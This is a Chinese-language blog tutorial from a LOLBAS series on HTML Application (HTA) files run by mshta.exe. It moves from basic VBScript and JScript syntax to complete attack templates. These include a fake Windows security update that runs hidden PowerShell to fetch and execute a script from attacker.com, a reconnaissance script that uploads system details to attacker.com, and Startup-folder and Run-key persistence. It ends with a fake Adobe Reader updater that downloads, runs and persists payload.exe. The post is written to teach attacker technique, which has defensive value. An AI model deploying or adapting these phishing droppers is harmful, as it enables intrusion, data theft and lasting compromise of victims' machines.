【LOLBAS鐵人賽Day28】附錄（二）：HTA 基礎語法與實戰應用

在之前 mshta.exe 的文章中，
我們有看到 HTA 檔案也可以當作攻擊的方式，
今天我們就來一起看看 HTA 的相關語法和技術應用吧！

一HTA 基礎#

HTA (HTML Application) 是以 HTML 形式呈現但具有完整系統權限的應用程式，
由 mshta.exe 執行跟網頁比較不同的地方是 HTA 不會受瀏覽器沙箱限制，
可以執行系統命令存取檔案操作註冊表

基本結構#

1
<!DOCTYPE html>
2
<html>
3
<head>
4
    <title>我的 HTA</title>
5
    <HTA:APPLICATION
6
        BORDER="thin"
7
        CAPTION="yes"
8
        SHOWINTASKBAR="yes"
9
    />
10
</head>
11
<body>
12
    <h1>Hello HTA!</h1>
13
    <button onclick="alert('測試')">點我</button>
14
</body>
15
</html>

說明：

儲存為 .hta 副檔名，雙擊即可執行
<HTA:APPLICATION> 標籤設定視窗外觀
可以使用 HTML/CSS 設計介面
可以執行 VBScript 或 JScript

常用屬性#

1
<HTA:APPLICATION
2
    BORDER="thin"           <!-- 邊框樣式 -->
3
    CAPTION="yes"           <!-- 顯示標題列 -->
4
    MAXIMIZEBUTTON="yes"    <!-- 最大化按鈕 -->
5
    MINIMIZEBUTTON="yes"    <!-- 最小化按鈕 -->
6
    SHOWINTASKBAR="no"      <!-- 不顯示在工作列 -->
7
    SINGLEINSTANCE="yes"    <!-- 只能執行一個 -->
8
    WINDOWSTATE="normal"    <!-- 視窗狀態 -->
9
/>

說明：

SHOWINTASKBAR="no" 可以隱藏視窗，常用於隱密執行
SINGLEINSTANCE="yes" 防止重複執行
BORDER="none" 可以建立無邊框視窗

二VBScript 核心語法#

基本語法#

1
<script language="VBScript">
2
' 變數與常數
3
Dim name, age
4
name = "John"
5
age = 30
6
Const PI = 3.14
7

8
' 陣列
9
Dim items
10
items = Array("A", "B", "C")
11

12
' 條件判斷
13
If age >= 18 Then
14
    MsgBox "成年"
15
Else
16
    MsgBox "未成年"
17
End If
18

19
' 迴圈
20
Dim i
21
For i = 1 To 5
22
    document.write i & "<br>"
23
Next
24
</script>

說明：

VBScript 不區分大小寫
使用 Dim 宣告變數，不需指定型別
Array() 快速建立陣列
& 用於字串連接
document.write 可以輸出到網頁上

檔案操作#

1
<script language="VBScript">
2
Sub FileExample()
3
    Dim fso, file
4
    Set fso = CreateObject("Scripting.FileSystemObject")
5

6
    ' 寫入檔案
7
    Set file = fso.CreateTextFile("C:\test.txt", True)
8
    file.WriteLine "測試內容"
9
    file.Close
10

11
    ' 讀取檔案
12
    If fso.FileExists("C:\test.txt") Then
13
        Set file = fso.OpenTextFile("C:\test.txt", 1)
14
        Dim content
15
        content = file.ReadAll
16
        file.Close
17
        MsgBox content
18
    End If
19
End Sub
20
</script>

說明：

CreateObject("Scripting.FileSystemObject") 建立檔案系統物件
CreateTextFile 建立新檔案（第二個參數 True 表示覆寫）
OpenTextFile 開啟檔案（1=唯讀，2=寫入，8=附加）
FileExists 檢查檔案是否存在
可以用來讀寫設定檔記錄日誌等

執行命令#

1
<script language="VBScript">
2
Sub RunCommand()
3
    Dim shell
4
    Set shell = CreateObject("WScript.Shell")
5

6
    ' 顯示視窗執行
7
    shell.Run "cmd.exe /c ipconfig", 1, True
8

9
    ' 背景執行（隱藏視窗）
10
    shell.Run "notepad.exe", 0, False
11

12
    ' 執行 PowerShell
13
    shell.Run "powershell.exe -Command Get-Process", 1, False
14

15
    ' 取得環境變數
16
    MsgBox "電腦名稱: " & shell.ExpandEnvironmentStrings("%COMPUTERNAME%")
17
End Sub
18
</script>

說明：

CreateObject("WScript.Shell") 建立 Shell 物件用來執行命令
Run 方法的三個參數：命令視窗狀態（0=隱藏，1=顯示）是否等待
cmd.exe /c 執行命令後自動關閉
ExpandEnvironmentStrings 展開環境變數（如 %TEMP%, %USERNAME%）
第三個參數 True 會等待命令執行完成

網路操作#

1
<script language="VBScript">
2
Sub DownloadFile()
3
    Dim http, stream
4
    Set http = CreateObject("MSXML2.XMLHTTP")
5
    Set stream = CreateObject("ADODB.Stream")
6

7
    ' 下載檔案
8
    http.Open "GET", "http://example.com/file.txt", False
9
    http.Send
10

11
    If http.Status = 200 Then
12
        stream.Type = 1  ' Binary
13
        stream.Open
14
        stream.Write http.ResponseBody
15
        stream.SaveToFile "C:\downloaded.txt", 2
16
        stream.Close
17
        MsgBox "下載完成"
18
    End If
19
End Sub
20

21
Sub SendData()
22
    Dim http
23
    Set http = CreateObject("MSXML2.XMLHTTP")
24

25
    ' POST 請求
26
    http.Open "POST", "http://example.com/api", False
27
    http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
28
    http.Send "data=hello"
29

30
    MsgBox http.ResponseText
31
End Sub
32
</script>

說明：

MSXML2.XMLHTTP 用來發送 HTTP 請求
ADODB.Stream 用來處理二進位資料
Status = 200 表示請求成功
SaveToFile 的第二個參數：1=不覆寫，2=覆寫
可以用來下載第二階段 payload 或上傳資料到 C&C 伺服器

三JScript 核心語法#

基本語法#

1
<script language="JScript">
2
// 變數和函數
3
var name = "John";
4
var age = 30;
5

6
function greet(name) {
7
    return "Hello, " + name;
8
}
9

10
// 陣列
11
var arr = [1, 2, 3, 4, 5];
12
arr.push(6);
13
var str = arr.join(",");
14

15
// 物件
16
var person = {
17
    name: "John",
18
    age: 30
19
};
20

21
// 迴圈
22
for (var i = 0; i < 5; i++) {
23
    document.write(i + "<br>");
24
}
25
</script>

說明：

JScript 是 Microsoft 的 JavaScript 實作
語法與 JavaScript 相似
支援物件導向程式設計
可以與 VBScript 混用

系統操作#

1
<script language="JScript">
2
function executeCommand(cmd) {
3
    var shell = new ActiveXObject("WScript.Shell");
4
    var exec = shell.Exec(cmd);
5

6
    var output = "";
7
    while (!exec.StdOut.AtEndOfStream) {
8
        output += exec.StdOut.ReadLine() + "\n";
9
    }
10
    return output;
11
}
12

13
function downloadAndRun(url, savePath) {
14
    var http = new ActiveXObject("MSXML2.XMLHTTP");
15
    var stream = new ActiveXObject("ADODB.Stream");
16
    var shell = new ActiveXObject("WScript.Shell");
17

18
    http.open("GET", url, false);
19
    http.send();
20

21
    if (http.status == 200) {
22
        stream.type = 1;
23
        stream.open();
24
        stream.write(http.responseBody);
25
        stream.saveToFile(savePath, 2);
26
        stream.close();
27

28
        shell.Run(savePath, 0, false);
29
        return true;
30
    }
31
    return false;
32
}
33
</script>

說明：

ActiveXObject 建立 COM 物件
Exec 執行命令並可以讀取輸出
StdOut.ReadLine() 讀取命令的標準輸出
這個函數可以執行命令並取得結果
常用於下載並執行遠端的惡意程式

四實戰應用#

1. 偽裝更新通知#

1
<!DOCTYPE html>
2
<html>
3
<head>
4
    <title>系統更新</title>
5
    <HTA:APPLICATION
6
        BORDER="dialog"
7
        CAPTION="yes"
8
        SHOWINTASKBAR="no"
9
    />
10
    <style>
11
        body { font-family: Arial; padding: 30px; }
12
        .warning { color: red; font-weight: bold; }
13
        button { background: #0078d4; color: white;
14
                 padding: 10px 30px; border: none; cursor: pointer; }
15
    </style>
16
</head>
17
<body>
18
    <h2>Windows 安全更新</h2>
19
    <p class="warning">發現重要安全漏洞</p>
20
    <p>請立即安裝更新以保護您的電腦</p>
21
    <button onclick="Install()">立即安裝</button>
22
    <button onclick="window.close()">稍後提醒</button>
23

24
    <script language="VBScript">
25
    Sub Install()
26
        Dim shell
27
        Set shell = CreateObject("WScript.Shell")
28
        shell.Run "powershell.exe -w hidden IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')", 0, False
29
        MsgBox "更新完成", vbInformation
30
        window.close()
31
    End Sub
32
    </script>
33
</body>
34
</html>

說明：

使用 Windows 風格的 UI 提高可信度
SHOWINTASKBAR="no" 避免被發現
-w hidden 隱藏 PowerShell 視窗
IEX 是 Invoke-Expression 的別名，執行下載的腳本
這是典型的釣魚攻擊手法，偽裝成系統更新

2. 資訊收集#

1
<script language="VBScript">
2
Sub CollectInfo()
3
    Dim shell, fso, file
4
    Set shell = CreateObject("WScript.Shell")
5
    Set fso = CreateObject("Scripting.FileSystemObject")
6

7
    ' 建立報告檔案
8
    Dim reportPath
9
    reportPath = shell.ExpandEnvironmentStrings("%TEMP%\report.txt")
10
    Set file = fso.CreateTextFile(reportPath, True)
11

12
    ' 收集基本資訊
13
    file.WriteLine "電腦: " & shell.ExpandEnvironmentStrings("%COMPUTERNAME%")
14
    file.WriteLine "使用者: " & shell.ExpandEnvironmentStrings("%USERNAME%")
15
    file.WriteLine "網域: " & shell.ExpandEnvironmentStrings("%USERDOMAIN%")
16

17
    ' 執行命令收集詳細資訊
18
    Dim exec
19
    Set exec = shell.Exec("cmd.exe /c ipconfig /all")
20
    file.WriteLine vbCrLf & "=== 網路設定 ===" & vbCrLf
21
    file.WriteLine exec.StdOut.ReadAll
22

23
    file.Close
24

25
    ' 上傳到遠端
26
    Call UploadFile(reportPath)
27
End Sub
28

29
Sub UploadFile(path)
30
    Dim http, fso, file, content
31
    Set http = CreateObject("MSXML2.XMLHTTP")
32
    Set fso = CreateObject("Scripting.FileSystemObject")
33
    Set file = fso.OpenTextFile(path, 1)
34
    content = file.ReadAll
35
    file.Close
36

37
    http.Open "POST", "http://attacker.com/upload", False
38
    http.Send content
39
End Sub
40
</script>

說明：

%TEMP% 是暫存目錄，通常不會被注意
Exec 執行命令並捕獲輸出
收集電腦名稱使用者名稱網路設定等資訊
可以用來進行偵察或建立目標資料庫

3. 持久化機制#

1
<script language="VBScript">
2
Sub CreatePersistence()
3
    Dim shell, fso, htaPath
4
    Set shell = CreateObject("WScript.Shell")
5
    Set fso = CreateObject("Scripting.FileSystemObject")
6

7
    ' 取得當前 HTA 路徑
8
    htaPath = window.location.pathname
9
    htaPath = Mid(htaPath, 2)  ' 移除開頭的 /
10

11
    ' 方法一：複製到啟動資料夾
12
    Dim startupPath
13
    startupPath = shell.SpecialFolders("Startup")
14
    fso.CopyFile htaPath, startupPath & "\check.hta", True
15

16
    ' 方法二：寫入註冊表
17
    On Error Resume Next
18
    shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Check", _
19
                   """" & htaPath & """", "REG_SZ"
20
End Sub
21
</script>

說明：

window.location.pathname 取得目前 HTA 檔案的路徑
SpecialFolders("Startup") 取得啟動資料夾路徑
複製到啟動資料夾後，每次開機都會執行
寫入註冊表的 Run 鍵也會在開機時自動執行
On Error Resume Next 忽略錯誤（如權限不足）

4. 完整攻擊範例#

1
<!DOCTYPE html>
2
<html>
3
<head>
4
    <title>Adobe Reader Update</title>
5
    <HTA:APPLICATION BORDER="dialog" SHOWINTASKBAR="no" />
6
</head>
7
<body>
8
    <h3>Adobe Reader 需要更新</h3>
9
    <button onclick="Update()">更新</button>
10

11
    <script language="VBScript">
12
    Sub Update()
13
        Dim shell, http, stream
14
        Set shell = CreateObject("WScript.Shell")
15
        Set http = CreateObject("MSXML2.XMLHTTP")
16
        Set stream = CreateObject("ADODB.Stream")
17

18
        ' 下載 payload
19
        http.Open "GET", "http://192.168.1.100/payload.exe", False
20
        http.Send
21

22
        If http.Status = 200 Then
23
            Dim exePath
24
            exePath = shell.ExpandEnvironmentStrings("%TEMP%\update.exe")
25

26
            stream.Type = 1
27
            stream.Open
28
            stream.Write http.ResponseBody
29
            stream.SaveToFile exePath, 2
30
            stream.Close
31

32
            ' 執行 payload
33
            shell.Run exePath, 0, False
34

35
            ' 建立持久化
36
            shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Adobe", _
37
                          """" & exePath & """", "REG_SZ"
38
        End If
39

40
        MsgBox "更新完成", vbInformation
41
        window.close()
42
    End Sub
43
    </script>
44
</body>
45
</html>

說明：

完整的攻擊流程：下載執行持久化
偽裝成 Adobe Reader 更新提高成功率
payload 儲存在 %TEMP% 目錄
透過註冊表實現開機自動啟動
實際攻擊中常見的手法

五測試環境#

建立測試 HTA#

1
<!-- test.hta -->
2
<!DOCTYPE html>
3
<html>
4
<head>
5
    <title>測試</title>
6
    <HTA:APPLICATION />
7
</head>
8
<body>
9
    <button onclick="Test()">測試</button>
10
    <script language="VBScript">
11
    Sub Test()
12
        MsgBox "HTA 可以正常執行"
13

14
        Dim fso
15
        Set fso = CreateObject("Scripting.FileSystemObject")
16
        Dim file
17
        Set file = fso.CreateTextFile("C:\test.txt", True)
18
        file.WriteLine "測試成功"
19
        file.Close
20

21
        MsgBox "已建立 C:\test.txt"
22
    End Sub
23
    </script>
24
</body>
25
</html>

說明：

儲存為 .hta 檔案
雙擊執行測試
如果能建立檔案就表示有完整權限

六總結#

核心技術#

VBScript/JScript：腳本語言，控制 HTA 行為
FileSystemObject：檔案和目錄操作
WScript.Shell：執行命令和操作註冊表
XMLHTTP：網路請求，下載和上傳資料

常見用途#

釣魚攻擊：偽裝成合法程式更新
初始存取：作為第一階段 dropper
資訊收集：收集系統資訊
持久化：透過啟動項或註冊表

一HTA 基礎#

基本結構#

常用屬性#

二VBScript 核心語法#

基本語法#

檔案操作#

執行命令#

網路操作#

三JScript 核心語法#

基本語法#

系統操作#

四實戰應用#

1. 偽裝更新通知#

2. 資訊收集#

3. 持久化機制#

4. 完整攻擊範例#

五測試環境#

建立測試 HTA#

六總結#

核心技術#

常見用途#

參考資源#